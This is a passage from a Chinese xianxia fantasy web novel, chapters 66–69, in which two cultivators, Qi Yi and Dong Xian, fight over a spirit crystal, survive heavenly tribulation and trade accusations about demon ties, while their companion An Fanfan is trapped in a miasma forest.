她伸掌便可生冰，冰雪要比炎火更加霸道强悍，自她掌中释放的力量可将整个火灵凝结，右手轻轻一旋，整个火灵都分裂成碎片簌簌落下。
有火灵欲趁机偷袭亓沂，攻来的掌风带着要比先前还要难耐的滚烫，只要被那火星沾上必定留下不可磨灭的烙印。
亓沂双手凝结冰雪，也赤手空拳地与其肉搏，迸溅的冰雪与火星相撞，荡生出的灵力如刃欲要轻则能划伤亓沂的脸颊，却被她不急不慌地避开。
亓沂打架流利而极具力量感，哪怕见不到她遇到的是怎样的对手，也能看得让人激情澎湃，热血膨胀，恨不得要高声叫号，也想上去试一试。
东闲险些痴迷于其中，很快，她回过神，灵域的形成意味着机遇，这附近一定有什么好东西在，她应当趁机寻找宝物的下落，赶在亓沂反应前。
很快，岩壁上一颗与众不同熠熠生辉的灵晶出现在东闲视线当中。
起初来时，东闲注意过周遭的环境，她确信自己先前没有看见过那般耀眼夺目的灵晶，心中已然确定，它就是自己想要的东西。
看来那就是灵域要守护的宝物。
趁着亓沂忙于与灵域的对峙，东闲抓紧时机朝岩壁上的冰晶动手。
她抽剑凌空挥斩一道剑气朝着岩壁而去，她的力量控制得当，不会使岩壁轰塌碎裂，只会让嵌在里面的灵晶落下。
岩壁上立时出现裂痕像蛛网般朝灵晶而去，直到灵晶下方的一片区域坍塌碎裂落下，没了依托的灵晶便顺势下坠。
东闲抬手就想接住。
一记冰棱如刀擦着东闲的右掌而去，狠厉地划开一道触目惊心的伤口，瞬间皮开肉绽，若非东闲收得快，左手便可见白骨森然。
亓沂锋利如刃的目光射来，甩来的冰棱化作冰链同时将东闲死死钉在墙壁上，使得东闲再不能挣脱抢她的东西。
这个人真是一刻也不能老实。
那漂浮在半空的发散着斑斓彩光的灵晶被亓沂用另一条冰链勾了去，成功落到亓沂手中。
亓沂攥住灵晶，便觉其中浩荡的灵力往她体内喷涌而进，她立刻意识到这灵晶是能够提升修士境界的宝物。
东闲被迫钉在岩壁上，尝试挣扎几分，发现其中灌输了炼心境后期的威压，她区区一个淬灵境前期是无法挣脱的。
东闲认清事实，轻轻叹口气，倒也不觉得恼，无所谓地笑了笑。
东闲斜眼扫了下没来得及止血的左手，疼痛让她感官清晰，心道亓沂真是冷酷得让人心痛。
见亓沂朝她又看了一眼，东闲抬起另
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一只没有收到束缚的手，做了个大拇指的动作。
“好快啊。”
快得很，要是能再慢一步，灵晶可就到她手里了。
虽然也不会在她手上待上多久时日。
亓沂没搭理她，灵域还没有被她破开，但是已经被她冰封住无法再施加压力，这片天地都已经成为她掌控的世界，倒不如说这灵域已是她的，只要她伸个掌的事，灵域便能轰然崩塌。
她可以安心地吸收冰晶中的灵力，助她实力大大提升。
东闲一眨不眨地盯着亓沂的动作，看着那块灵晶到底是何作效，而后便见亓沂当下打坐，灵晶悬浮在半空中，其中涌出无数灵力尽数往亓沂身上灌输。
看来这宝物是能帮人提升境界，也就是传言中由灵力集结而成的结晶。
原来只是因为知道那是个宝物才感到心动，得知能提升境界，东闲更加心动了。
这世间的修士提升境界靠的是吸收灵力，吸收的灵力越多，提升的境界也越高，每一个阶段想要提升的灵力是次第增加，阶段越高灵力需求量越多。
一个人如若光耗费光阴积攒灵气，就算是拥有十分星宿传承，这辈子最多只能止步于意动境前期。
故而几乎所有修士不会单从修炼的方式提升实力，提升灵力也有其他方式，泡灵泉、吸收灵晶、起聚灵阵等。
大幅度提升灵力的方式往往是世界稀少罕见的宝物，所以修仙界打打杀杀的事经常发生，为了争夺宝物提升境界，从而助自己飞升成仙。
毕竟唯有飞升成仙才能享长生不老、青春永驻、众生跪服。
东闲舍不得放弃这块大肥肉，她目前最大的难题是境界太低，处处受限制，拥有百家秘法却使出来如小菜鸡过家家般，这让她有一身力无处使的感觉实在憋屈得很。
而且她不过多久就得离开玄清宗，又要重新与那些对家对上，她的实力太过弱小，会连死都不知道。
何况她如今正缺一个境界上涨的借口。
只见亓沂凝元精神，全身心投入进灵力充盈身体境界上涨的这段过程。
她吸收得飞快，转瞬间灵晶已经失去夺目的色彩，亓沂面色呈现健康的光泽，一身所有因不适源自龙脉强烈的火行力量都在此刻消弭。
她感觉满身舒畅，但很快又备感压力。
亓沂吸收的灵力太多，即将渡劫，头顶劫云已经慢慢攒聚一起，发出沉闷的声响似乎已经迫不及待。
而东闲看准时机，在亓沂要渡劫时出手，此刻的亓沂绝对无法回击，只能眼睁睁看着东闲也分了其中的灵力。
东闲凝视于逐渐失色的灵晶上，放在左手掌上食指的戒环，弹射出丝线将灵晶勾回来，打断亓沂对灵力的吸收。
而亓沂无法阻止，她已经达到炼心境后期的峰点，已经要开始突破意动境。
亓沂吸收得太多，灵晶到东闲手上已经失去大半多的灵力，但仍能足够东闲突破淬灵境的后期，她本就应该突破淬灵境中期。
东闲将其中灵力尽都吸收完毕，她头顶也开始聚集起劫云，但是劫云的大小与强度虽不如亓沂的壮观，但也绝非是一个突破淬灵境后期的修士需要突破的劫雷。
而东闲一无所知，她还在极力汲取着灵晶中所剩的灵力，力突让自己突破更多境界。
于是二人都各顶着一头劫云，在一片冰冻的天地，准备渡劫。
67.第 67 章
亓沂双眼一闭，便置身在雷云当中，劫雷轰隆而作，道道猛烈不停歇地砸在她的身上，她遂祭出法鼎分摊劫雷，以助她成功渡劫。
劫雷目标明确，急又快的架势似要将亓沂劈得灰飞烟灭，波及的周遭草木早已无法承受而变成一堆灰烬，在掀起的尘灰中吹散。
而她的灵域有劫雷存在的缘故，全部被轰成碎裂。
意动境的劫雷果然非同凡响，但她未必会身陨在劫雷之下。
亓沂低吟咒语，一个护体金刚罩瞬间形成，继续为她抗下不少劫雷。
劫雷的威力仍旧很强，但已经能忍受很多，亓沂心知不能再用外物替她抗劫雷，不然就算渡劫成功，但拥有的力量未必是意动境该有的实力。
凡人修仙多坎坷，这点还不够她受。
好在她曾经在宗门大比中获得魁首，因而得以去宗门至宝生机之泉淬炼身体，这具身体要比绝大部分修士抗得住劫雷。
道道劫雷砸在亓沂身上，断裂亓沂的经脉，消耗亓沂的生机，泯灭亓沂的意志。
全身筋脉都已经碎裂，意志混沌，思绪纷杂，她几乎辨不清自己是谁。
此刻的亓沂虽然外表上还是一个完整的人，而她身体里种种特征都在向外传达她即将要死的讯息。
“无视无听，抱神以静，形将自正……”
她耐住痛苦，口中喃喃有词，那是黑长老所授的咒语，帮助修士在修炼时保持自我以防走火入魔。
当她开始要稳住心境的时候，意味着劫雷已经到了最关键最难熬的时候，往往这种时候，稍有一步错漏必定导致渡劫失败。
动摇一人心境的方式无非是那几种，从欲望、恐惧、罪孽等方面击溃修士的心理防线，虽然早有准备，但是每次遇到这种情景，依旧难以抵抗。
只要是人就有欲望，真正能经得起一问的唯有将心道学到透彻、能够做到真正的淡泊名利之人，而这样的修士不会一心修炼向往飞升之路。
修仙一直是件矛盾的事。
亓沂压抑着想要逃离的冲动，逼迫自己面临那些质疑与诘问，劫雷一旦开始不能动作，不然必死无疑。
这种渡劫的过程又称之为涅槃，只要熬过去，就会得到全新的自我。
不知过了多久，亓沂略显狰狞的面容恢复平淡，她睁开眼，眼底里覆着层淡淡的喜意。
她已然是意动境前期的修为了。
如此实力已是这一代的佼佼者中的翘楚，怕是不会再有人能有她这般实力。
亓沂并不在意这点，她如今是由衷地因为境界的提高而感到喜悦。
这场劫雷她成功熬了过来，犹如旱灾后获得甘霖，亓沂身上所有断裂的经脉全都得到修复，并且得到进一步的强化。
当她想试试意动境的实力时，亓沂发现劫雷还没有散去。
不是她的。
她看向不远处打坐的人，自己给她拷上的冰链在劫雷的作效下被击碎，岩壁上留下明显被雷电凿穿的巨坑，还有雷蛇噗呲噗呲地冒着烟涌动着，此时一身狼狈的东闲闭目渡劫。
她为何还在渡劫？
按理来说她应当比自己快才对，犹记得自己渡淬灵境中期的劫雷，简单得仿若睡了一觉，渡淬灵境后期的劫雷，没那般轻松，却也没有花上太多气力，这两次渡劫她只在师尊千叮咛万嘱咐下，起了个护体金罩。
亓沂再望向东闲头顶轰然大作的劫云，这劫云脾气爆得狠，附近都是被它凿穿的痕迹，层层劫云聚在一块，雷电时闪时灭，道道都能将东闲整个身躯凿穿。
这绝非是淬灵境后期该渡的劫雷。
她有瞬间的怀疑，东闲真的只是在渡淬灵境中期的劫雷吗，这劫雷都堪比她渡炼心境的劫雷。
她莫不是受天道厌恶，才会得到如此下场，看这劫云密集的程度，亓沂暗道这世上再没有人比东闲还不受天道喜爱。
东闲为何会受天道厌恶，亓沂并不关心，她仅仅看了一会，便转身离开。
她调动契约之力召唤出天月狼，天月狼在她脚边亲昵地蹭了蹭，而后坐在地上，等着亓沂把一路捕捉到的妖兽尸体摆在它面前。
等亓沂摆了一排，天月狼鼻尖翕动，目光在这群妖兽尸体上逡巡，最后停留在五阶风生狸的前面，张开獠牙便大口大口地吃起来。
是喜欢五阶妖兽的肉，还是单喜欢吃五阶风生狸的肉。
亓沂若有所思。
它吃得很开心，吃到一半时，忽而抬起前爪与牙齿并用，扯下一条粗壮的腿部递给亓沂。
这头天月狼还是个幼崽，它对人类修士接触甚少，恐怕就碰过包括她在内的两类人。
故而以为亓沂也能吃这只五阶风生狸的肉。
亓沂没有动，“你的。”
天月狼便又大口大口地吃下去，吞咽与咀嚼声时而在雷声的缝隙中响起，它吃得津津有味，也是很久没有吃到称心的妖兽肉，幼崽时期的天月狼还不能做到成年期只靠吸收天地灵气便能饱腹的特点，它们需要补充妖兽肉。
先前亓沂把它带回来时，不太方便给它找妖兽的肉，只能用普通家禽的肉喂养它，天月狼勉勉强强吃下去饱腹，如今终于吃到食谱上的东西，它自是开心的。
亓沂看了会，便去一旁处理自己身上的脏污。
东闲的状况不太好。
她被浩大的天威压得喘不过去，几乎就要死去。
淬灵境后期的劫雷有这么强悍吗，其他的修士都是怎么渡过来的。
东闲心觉其中定有古怪，与其说她是在渡劫，不如说她受天道惩罚。
东闲不明白天道为何针对她，但她不肯轻易屈服劫雷。
劫雷之中有一威严要将人内心所有肮脏事都逼迫袒露的声音问道：“东闲，你可知错？”
错？
这道声音一出来，劫雷的力量大大增强，她两肩与头顶各抵着一座大山，要将她往地底砸穿，劫雷贯穿东闲的身体，疯狂地吸收着体内的生机与积攒的灵力。
东闲咬牙硬撑，势不肯死在淬灵境后期的劫雷。
“你触犯天规，扰乱人世秩序，便是错。”
这话听得东闲稀里糊涂，是盗取圣果还是顶替慕婉思的身份触犯了天规，可这两样怎么都不可能与扰乱人世秩序牵扯联系。
莫非是天道认错了人？
可若是天道认错了人，分明喊的是她的名字，她有预感，是她而不是这具身体的原主人。
东闲心神一凛，大概猜到是什么缘故致使她遭受天道厌恶。
贪狼星君。<
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p>她还记得，来自贪狼星君莫大的悲伤，毕竟自己总是不死心地想要见到祂的真容，每夜流泪已经是东闲的必做事项，故而对那该死的伤心深有感触。
她大抵能猜到贪狼星君一定是因为后悔而做出触犯天规的事，倒也是奇了，祂都是神仙还能在乎凡人间的那点情意，有些过分地好笑。
贪狼星君留下的一缕神识还在她的识海当中。
这天罚应是针对贪狼星君的。
贪狼星君，你害得我好苦。
她受着煌煌天威，生命已经到了尽头。
如若知道渡劫会如此凶险，她必定会多准备渡劫法器，而现在的她只能强行抗下。
整个过程很久，天道似乎也不是真的想要她死，所以东闲还能留着一口气。
而东闲求生意志实在顽强，居然也真的熬过这场劫雷。
很快东闲恢复生机，实力大大提升，成功成为拥有淬灵境后期实力的修士。
东闲死里逃生，睁开双眼时，衣衫早已被一波又一波的汗水浸湿出难闻的臭味，她自己都颇为嫌弃想要掩住口鼻。
她偏头寻找亓沂的方位，与原本盯着天月狼吃妖肉的亓沂对上视线。
亓沂已经换了一身干净衣裳，显然是清理过了。
至于深受苦难的东闲，她丝毫没有出手的意思。
东闲看了眼她身上换过的衣裳，而后向附近的瀑布走去。
关于东闲异常的劫雷，两人一个都没提起，就这样略过去。
东闲简单清理过回来时，那只饱腹的天月狼慵懒地躺在亓沂身边。
再次看到这只天月狼在亓沂脚边撒娇，东闲还是觉得有些不可思议，八阶的天月狼足够孤傲，难以驯服，它们不可屈居于修士之下，即使御兽师与它们签订的是平等契约，天月狼可是向往自由的种族。
东闲道：“天月狼一族深居简出，一般生存在神木林，你是特意去神木林契约它的吗？”
亓沂看着天月狼，听到这话时便回道：“捡的。”
“捡的？”
东闲被她噎了一下，这是八阶的天月狼，不是烂大街的地摊货随处可见，妖兽一共从一到九九种品阶，数字越大代表越稀有也强大，要是这么好捡东闲也想捡一只啊。
她很快又能明白亓沂的话，这只天月狼身上到处都是伤痕，可见过去遭受人虐待，而天月狼待亓沂亲昵，这一地的妖肉尸体都是亓沂为天月狼准备的，所以亓沂说她是捡的的确有可能。
东闲：“你对这只天月狼没有想法吗，这可是排在八阶的天月狼。”
亓沂道：“我不以那种方式作战。”
东闲有些意外，这是想把八阶天月狼做宠物的意思吗，拿八阶天月狼做宠物这可太暴殄天物了。
“那你为什么契约它？”
亓沂道：“问它。”
东闲：“什么？”
她半天才反应过来，亓沂好像跟她讲了冷笑话。
于是，她蹲下，对天月狼认真问道：“你为什么要被亓沂师姐契约？”
八阶天月狼又嗷了一声人听不懂的话。
东闲点头，然后转来一双无辜的眼眸，胳膊肘抵在膝盖上，撑脸看她，道：“它说让我问你哎。”
亓沂：“……”
68.第 68 章
东闲也没指望亓沂能回答她，目光重新落在天月狼身上，自顾自道：“这只天月狼应是被某个修士圈养家中，因为本性孤傲不愿达成契约，修士便施以暴行逼迫天月狼就范，不料它得空逃跑被你契约。”
一个御兽师以强迫虐待的方式让妖兽定下契约这件事若是传了出去，必是丑闻一桩，对方能抓到天月狼狼王之子，想必来头不简单，如若对方知道自己抓住的天月狼被亓沂契约，无论是夺契约兽之仇，还是保住名声，都会对亓沂下手。
至于亓沂对此的态度如何，东闲不想用都知道她有多无所谓。
东闲起身，道：“我怎么觉得你对我的态度变了，没有以往耐心，尽是不耐烦。”
她带着点哀怨意味地开口：“你我二人生死与共的交谊，何至于如此生分？”
生死与共？
她又在说什么胡话。
亓沂稍作思索，便明白她所谓的生死与共是何意。
当修士渡劫时，无关人士需得速速离开，以免被波及其中，玄清宗便有一座峰就单纯地命名为渡劫峰，渡劫峰被众长老设下结界与外界隔离，所有要渡劫的弟子都要在那渡劫。
这又算什么生死与共，依照她的实力根本瞧不上东闲的劫雷。
东闲见她无动于衷，再度开口：“你就不想知道我为何留下吗？他们舍得抛下你，我舍不得，所以我便留下了。”
听到这，亓沂冷声道：“邱少英昏迷不醒，是你动的手脚。”
在东闲要求走在邱少英前面时，她在邱少英的袖口留下了致人昏迷的粉末，大风狂作时，邱少英想抬起手臂捂住口鼻，从而使得衣袖上的粉末顺利进入口鼻，导致她昏迷不醒的结局。
东闲毫无负罪感，道：“你应该换个思路来看，我是在帮你，如若没有我动手，你就不会知道，这群人在危难之际是多么自私，只想着逃跑不曾留下一个来陪你。”
邱少英昏迷了最多两个人带着她回去就好了，但是他们都选择离开，没有一个人有帮忙的意思。
亓沂看得分明，丝毫不会为东闲的话所引导，道：“你自己的私心，不用打着为我的旗号。”
她真是冷淡得过分，看什么都漠然，可偏偏又答应断后，偏偏又守在她身后看着她过桥。
东闲直言问道：“那你为何你帮我？”
亓沂的目光落了过来，总是锋芒外露的眸子，实在让人难以招架住。
“我未允许过你离开我的身边，你若是想走也没这个机会。
“慕婉思，我以为你忘记了许多。”
她那双极具侵略性的眼眸多了戏谑的意味。
东闲被她的话所惊，先前未注意到的几点，全都在此刻清晰明了串联成线，她似乎明白了一切，面上的笑意冷却。
“上官莲蓉他们是陪你演了一场为我而唱的戏，你今日是想把我困在赤焰龙脉无法出去。”
亓沂：“猜对了一半。”
东闲勉力扯着嘴角，似笑更似哭：“我可没这么希望能猜对一半。”
亓沂道：“身为玄清宗弟子，你不会不知道百仙盟为何会禁止贩卖星宿传承，替换星宿传承的修士都需要焕新膏来降低排异效果，而这焕新膏用了一种催人入魔的原料。
“纵容星宿传承的剥夺贩卖，便是纵容焕新膏的贩卖，更是纵容修士入魔。你知罪犯罪，与魔苟合，与玲珑阁勾结，我身为玄清宗的代掌门，是不是该把你送到百仙盟接受判决。”
被疑似看穿了身份，东闲神色也不见一点慌张，她大脑迅速回忆到底是哪里出了差错，才叫亓沂发现了端倪。
又暗道亓沂的敏锐，那日大殿上，众多长老皆视她为受害者，唯有亓沂怀疑她的动机。
没想到亓沂才是玄清宗最难糊弄的存在。
这会其他人都走了，唯有她和亓沂在，亓沂也承认是故意留下她，而且依亓沂的性子，是懒得与她周旋，事情几乎尘埃落定，东闲便直言问道：“我是哪里做得不好吗？”
亓沂道：“聪明的人会想多。”
东闲一下联想到听风竹林时宋问天的箫声，当时她以为亓沂出手是因为她心虚，后来自己拿走她的镜子，亓沂表现得更是激动，她东闲便下意识以为那镜子有问题。
如今看来是那面镜子的确有问题，但是是为了钓她这条鱼。
东闲像是听不懂她话似的，轻轻地反驳道：“我并不聪明，我需要的是力量，对于我有用的也只有力量。”
亓沂：“你需要的力量便是与贩卖星宿传承的玲珑阁合谋？”
东闲微微错愣，她一时的沉默在亓沂看来有了另一层的意思。
她不带感情色彩的评价道：“与玲珑阁合谋，有够愚蠢的。”
被她骂了的东闲抬眼盯着她，眼里溢出点点笑意。
果然，亓沂不会占据道德的制高点去评判剥夺星宿传承一事，在她眼里看得分明的只有利益。
东闲问道：“你是看不上玲珑阁吗，好歹玲珑阁能与魔尊接触哎。”
亓沂带着点淡淡的讽意开口：“你能在这场关系中独善其身多久。”
她看人本就蔑视，此刻无声地表达着对东闲的嘲讽。
所以觉得她蠢，不是因为她的“合作伙伴”不行，而是觉得她的智谋、胆略与力量不足以能够与玲珑阁为伍，通俗点说，也就是东闲一定会跟落入狼群中的小羊羔似的被吃得一块骨头都不剩。
东闲不知道该不该要高兴自己平时伪装的无害单纯形象太过引人深刻，才会让亓沂觉得她是个傻瓜。
她复而生出一个念头，亓沂现在其实没看出她不是慕婉思吧，亓沂的思考都是基于“她是落难鬼煞冢的慕婉思”这点出发。
所以在亓沂看来，她应当是为了活着逃离鬼煞冢，不得不与魔尊达成某种不可告人的交易。
东闲眼中划过一丝狡黠，若是这样，事情便会好办。
“可我只是想要活命，其实我也不想助纣为虐，是怀玉师兄和常师兄逼我去剥夺鸦昤的内丹，依我的能力，也只能做出小小的反抗，我日日受着煎熬，若非我才淬灵境的实力，许多事情都能由己。”
仗着死人不能开口，东闲张口就能编出一个情真意切的谎言，她摆出委屈模样谁也不能怀疑，叫人垂怜。
亓沂不知道对面的人是不是在演戏，在听到“小小的反抗”几个字眼，率先出现在她的脑海里的是常怀清头身分离的躯体。
她多看了那张柔弱白花脸，觉得自己对这一类脸都有了深刻的印象，冷嗤一声。
东闲见她没说话，复而想到什么，大惊失色。
“你带我来这，是想杀人灭口？可是我还什么都没做，罪不至此吧，就算你现在是代掌门，也没有权利随意定夺我的生死。”
她警惕地退后两步，甚至起了护体金刚罩，这一幕落在亓沂眼里简直让她想发笑，但她鲜有笑容，嘴角的弧度丝毫未变。
亓沂懒得骂她傻，抬手甩出的冰链缠上东闲的手腕，轻易碎了对方的屏障，将人往回勾，两人间的距离便无限缩小。
她用一种简单粗暴的方式警告东闲，她若想杀东闲，东闲可以连痛的感知还没传达到大脑神经，就已经是冰冷的尸体。
“你的身上有什么值得它在意的？”
亓沂从头到尾关心的都是东闲与魔的关系，而非她与剥夺星宿传承一事。
东闲答非所问：“我身上一定有值得你在意的。”
在亓沂厌烦她的谜语般的回话前，她又道：“你带我来这里，是因为你的私心，你这样我可没办法告诉你我怎么让它听话的。”
她目光点了下被冰链吊起来的手。
亓沂这回收冰链很快，明显是东闲的话有给她一点兴趣。
亓沂真是有极强的掌控欲。东闲如此点评道。
不过她是大方的人，不会计较这件事，才不是因为目前两人实力相距太远，没办法把亓沂收拾一顿。
她再度打开星图，想看看自己的行踪轨迹，结果发现代表她的星星不远处还有颗星星存在的迹象。
安泛泛跟过来了。
这颗星星是停止不动的，代表安泛泛被困在某个地方，东闲对比两条星星的轨迹，并不交叉，意味着安泛泛走错了路。
“你不打算让我离开这里，是因为你觉得在我身上有可能会得到与魔共处的方法，我告诉你我的确有。”
亓沂看着东闲，东闲突然想往回走，不出两步，她神色微变，抚额流露出一点戾气的情绪来，然后
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罕见地面上笑脸尽无，让亓沂有些稀罕地发现，原来这张天生的笑脸也有不笑的时候。
东闲对她道：“师姐在附近，我必须要先找到她。”
亓沂记得队伍中有一人没跟上来，一下便能对应上是安泛泛。
对于安泛泛她有印象，所以问得才够不解。
“她为什么会跟过来？”
明知前面有危险，还跟着过来干什么，这个安泛泛有炼心境的实力，但缺乏历练，未必能发挥得了炼心境的威力来。
东闲回得很自然：“因为我讨人喜欢。”
亓沂沉默一瞬，目光打量着她，似乎觉得她话极为不可信。
东闲看着亓沂，弯了弯眼，又补充道：“你以后也会喜欢我的。”
亓沂不冷不淡道：“你对她倒是舍命相待。”
东闲道：“我待你也不是吗，方才只有我舍得留下来，他们都走了，连回头都没有，一个都没有。”
东闲伸出一根手指晃了晃，特意强调一个都没有，以来证明她这个唯一是待亓沂多么的好。
亓沂并不领情，一言道破她的心思，道：“你很想装作真心待我，可心底的算计比谁都可怕。”
东闲真心夸赞道：“你很聪明，但我是真心想留下陪你的。”
亓沂依旧冷淡得让人心痛：“圣阶法器，谁都真心想抢。”
东闲反问道：“那你觉得我救师姐的心是假的吗？”
亓沂蹙眉，不说话了。
似乎在她看来，东闲没有必须救安泛泛的理由，她们之间没有利益纠葛，也许这颗真心是不容置疑的。
东闲微微笑了。
在她表达想要就此离开的心迹后，这屡神识缠得她头疼得要命，让她近乎晕厥，东闲实在忍受不住只好留下。
这心当然也是假的，如若不是贪狼星君的那缕神识逼迫她，她甚至会将供二人联系的星图销毁，圣阶法器还没拿到，就得拿命去救另一个人，倒也不看看她现在有多大本事。
等她找到办法，一定让贪狼星君离开她的识海。
东闲这辈子最讨厌束缚，她绝不能让贪狼星君束缚她一辈子。
听东闲说安泛泛也在附近后，亓沂也没想要坚持离开，安泛泛真要出事，她也是要担责的。
东闲问道：“两个时辰应该快要到了吧？”
亓沂道：“够了。”
她回得很自信，东闲听她这么说心也放平了。
二人依循着星图上的轨迹寻找安泛泛，约莫花上一盏茶的功夫，星图上的两颗星星就要触碰到一起。
东闲的目光从星图上剥离，转而落向前方，前方是一片瘴林，绿色的瘴气弥漫在林子之间。
不用东闲开口，亓沂已经主动道：“是幻境，某种吓唬人的玩意，不足为惧，但需要注意时间，瘴气能够变化出路，若不加注意很容易迷失。”
东闲内心重复着“幻境”二字，听出亓沂言语中不屑之意，料想这幻境也并非多高明。
如此不高明，安泛泛却在其中待上了一炷香，在她们寻找安泛泛的路途上，安泛泛的那颗星未曾有过变化。
安泛泛是炼心境的修士，身上应当有不少护身法器，理应不会被困在其中才对。
困在里面那么久，莫非是为了寻她？
东闲问道：“怎么样才能从中脱困？”
亓沂道：“你的星图不会受瘴林影响。”
话落，亓沂抬步打算往前走，但被东闲拉住。
“不用了，你在这等我们，我一人带师姐出来便好。”
对上亓沂狐疑的视线，东闲面不改色地“解释”道：“师姐胆子小，她进去已经有一炷香的时间，此刻状态也不会太好，平日大家都敬畏你，师姐也是，若是再看到你怕是要受到刺激，我与师姐关系亲密，她见到我说不定就能走出来，这里并不安生，或许还会有高阶妖兽经过，还得麻烦你来守着。”
亓沂回忆安泛泛每次见到自己都跟缩头鸵鸟似的神情，觉得东闲说得很委婉了，于是颔首，答应守在外面。
赤焰龙脉多危险，东闲想离开还得仰仗她，亓沂并不担心东闲能跑得掉。
东闲放大星图的轨迹，循着安泛泛的那颗星慢慢靠过去。
69.第 69 章
安泛泛背贴老树，捂住双耳，紧闭双眼，似乎就要以这种五官封闭的方式躲避所有的恐惧。
这种掩耳盗铃的方式并不能保护她，但能提供一点安全感。
当时安泛泛想拉东闲无果，眼睁睁看着她同大家一起被卷走，心中焦急万分。
胸口那条父母留给她的命渊石，可以每日预言一次致命危险，当时就是命渊石应验，阻止她继续向前的步伐，所以在大家都没反应过来就被卷走时，独独她幸存下来。
眼看着所有人都离开了，也包括东闲被带走，安泛泛待在原地不知所措。
可是她要去吗？去救东闲。她如若跟过去找东闲，她会死的。
命渊石已经预言她会有劫难，她若无视命渊石的预言，她多半是要出事，但是她不能让东闲一个人离开啊。
有亓沂师姐在的话，东闲应当不会出事，可是要是他们被传送到不同的位置，东闲不就与他们走散了，到时只有淬灵境前期实力的东闲还能有活路吗。
安泛泛踌躇不定，眼看着星图上另一颗星星在不断移动，她嘴中还是选择进入，命渊石余温还在，却再也阻止不了她要前进的步伐。
等她回过神，她已然踏入其中，来到他们原本待过的断崖。
这下再无退路，安泛泛反而松了一口气。
她还是想要去救东闲，东闲可是因为她受伤会伤心的，自己不可以弃她不顾。
安泛泛做不到。
她感觉自己只要多等一刻，耳旁就会响起东闲的求救声——“师姐我好疼”“师姐救救我”“师姐我怕”。
她攥着星图，朝着另一颗星星的位置靠近，幸亏有星图把二人联系，安泛泛真不知道要到哪才能找到东闲。
她一路穿过狂风，经过断桥，光是父母送的一身法宝，就能护她无虞。
有这身法宝在，安泛泛愈加安心，这何尝不是说明她一定能带着东闲平安无事地回去。
可是命渊石的预言不能看作儿戏，这是它到安泛泛手上以来第一次应验，安泛泛不确定它预言的劫难是否真的应验。
越想越害怕，索性不想了，就盯着星图走，走着走着，安泛泛傻眼了，瞪着两双杏眼，用手在星图上划来划去都没能找到另一颗星星。
星星呢，东闲的星星为什么没了？可我的星星还在呀。
安泛泛很快便记起，星图不是在任何情况下都有用的，要是遇到特殊情况，星图会失效，不会再提供星星轨迹。
事实的确如此，有东闲进入灵域的缘故，星图失效，代表她的那颗星星便随之消失。
安泛泛慌了神，只能凭着感觉猜测东闲的轨迹，结果与东闲所在的位置愈来愈远而不自知。
她走得很急，一路掐着御风术去寻人，生怕东闲出了危险，要是去得晚了，东闲可能坟头草都生出来。
她便来到瘴林，来到瘴林时，安泛泛稍作犹豫，她知道瘴林内的路变化莫测，一旦进去很容易迷失，但想到星图可以记录她的轨迹她便不再犹豫地进去了。
此刻的安泛泛将自己缩成一团，封闭着五感，内心深受煎熬。
就在不久前，她把星图弄丢了。
安泛泛缩成一团，不住地打颤，太可怕了。
她想回去找星图，但是她动不了，瘴林其实并非多么可怕的地方，可安泛泛太害怕了，她总觉得有什么东西在盯着她，无论走到哪里那种如影随形的窥视感都在。
安泛泛尝试把它叫出来，可是它不出来，瘴气也变得异常古怪，像是想要将她吞噬，肉眼可见地，她的来路都被瘴气吞没。
安泛泛了解过的瘴林可不是这样，瘴林会不断变化你的来路，让你没办法轻易走出去，从而使你被永远地留在瘴林中，直至成为一具白骨。
来回的路不似大家所言那般变化而是被瘴气全部吞没，并在缓慢地向她贴近，这种没有提到过的异象令安泛泛感到很恐慌，她惊惧之时又不小心地踢到一堆白骨，看到白骨时犹觉得是在看见自己的命运。
安泛泛受惊不慎丢下星图，等到她回想起来时，她已经失去寻找星图的勇气与气力。
她是父母的掌中宝，父母宠她宠得很，哪怕安排她进入玄清宗后，也要女儿每个月回家一趟，以来确保女儿真的无事，她前段日子过得太过轻松容易，虽不是不闻世事的性子，但也没接触过什么黑暗危险，被魔修追杀是她遇到的最大的一件事。
这可是她第一次独自直面危险，对她来说太过可怕，可怕到安泛泛双腿发软，连站起来这样简单的动作都做不到。
瘴林的特性是，无论什么境界的修士来到这，都有可能会迷失，实力在瘴林没有用，如若能拿到中级法器三星破迷灯，那么就可以轻易破开瘴林的障眼法，根本不用担心会迷失其中。
可安泛泛没有三星破迷灯，她过去想不到自己会进入瘴林被吓得走不动路，要一辈子留在其中。
她的父母更没有想到，在自己羽翼之下庇护的女儿，会有一天进入瘴林出不来。
瘴林内过分地静悄，安泛泛害怕会听见所有不该听见的声音，害怕看见所有不该看见的东西，故而有意封住五感。
半柱香过去，她就这么保持住缩着身子的状态，将头紧紧埋在两腿当中，自暴自弃地想着要不就这样待着吧。
长时间地保持这种看似能给予她有限安全感的动作，她其实并没有觉得有多安心，甚至因为无法控制大脑在胡思乱想反而愈加慌乱。
安泛泛从来不知道自己脆弱到这种地步，这一刻她像是大海上漂泊的孤舟，永远要忌惮着会有骇人海浪将她拍翻。
想到自己连人都找不到，安泛泛感觉无助极了。
要是我反应再快点，或者说我走在东闲前面，这样我们两个人就不会走散。
安泛泛越想越自责，越想越觉得自己没用，怎么说她也是炼心境的修士，怎能胆怯到如此地步。
可话又说回来，她的炼心境实力完全没有水准，在旁人都日日训练提升实力时，她基本都在吃喝玩乐。
安泛泛又丧气的时候，不免回想到自己被三阶妖兽攻击时，东闲显得过分紧张的表现。
我要振作起来，如若连我都胆怯了，等着我救的慕婉思怎么办？
安泛泛倏然拥有了勇气，她知道东闲一定要比她更害怕更无助，她不是一个人来到这里，她来这里的目的就是为了带东闲回去。
她拿开堵住眼睛和耳朵的手，逼迫自己站起来，去面对恐惧。
绿色的瘴气以缓慢的速度逼近着，在她低头不肯面对现实的时候，它与安泛泛只剩下几步的距离。
安泛泛惊魂不定地看着眼前的瘴气，大脑又开始胡思乱想，想象着里面有怎样恐怖的妖怪，这一想，眼前便一花，幻视其中走出来不少
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妖怪向她扑来。
她下意识挥鞭甩过去，想用灵力对付瘴林是无效的，瘴林用的是障眼法，除非有三星破迷灯开路。
这一认知再一次被强调，安泛泛一颗心愈加脆弱，她唯一能够倚仗的是这身有炼心境的实力，如今连这身本事都没得倚仗，她强行堆起来的勇气如摇摇欲坠的高楼，即将达到不堪重负的点而倾塌。
安泛泛高估自己的勇气，她不敢想被瘴气吞没会发生什么事，她打心底地惧怕瘴气，转身慌不择路地逃跑。
安泛泛不知道，她的身上有很多护身法器，她的父母并没有告诉她，比如她头顶上戴的发钗就能在危机来临时给敌人致命一击，交给父母特意改过的弟子服其实改成了护体法衣。
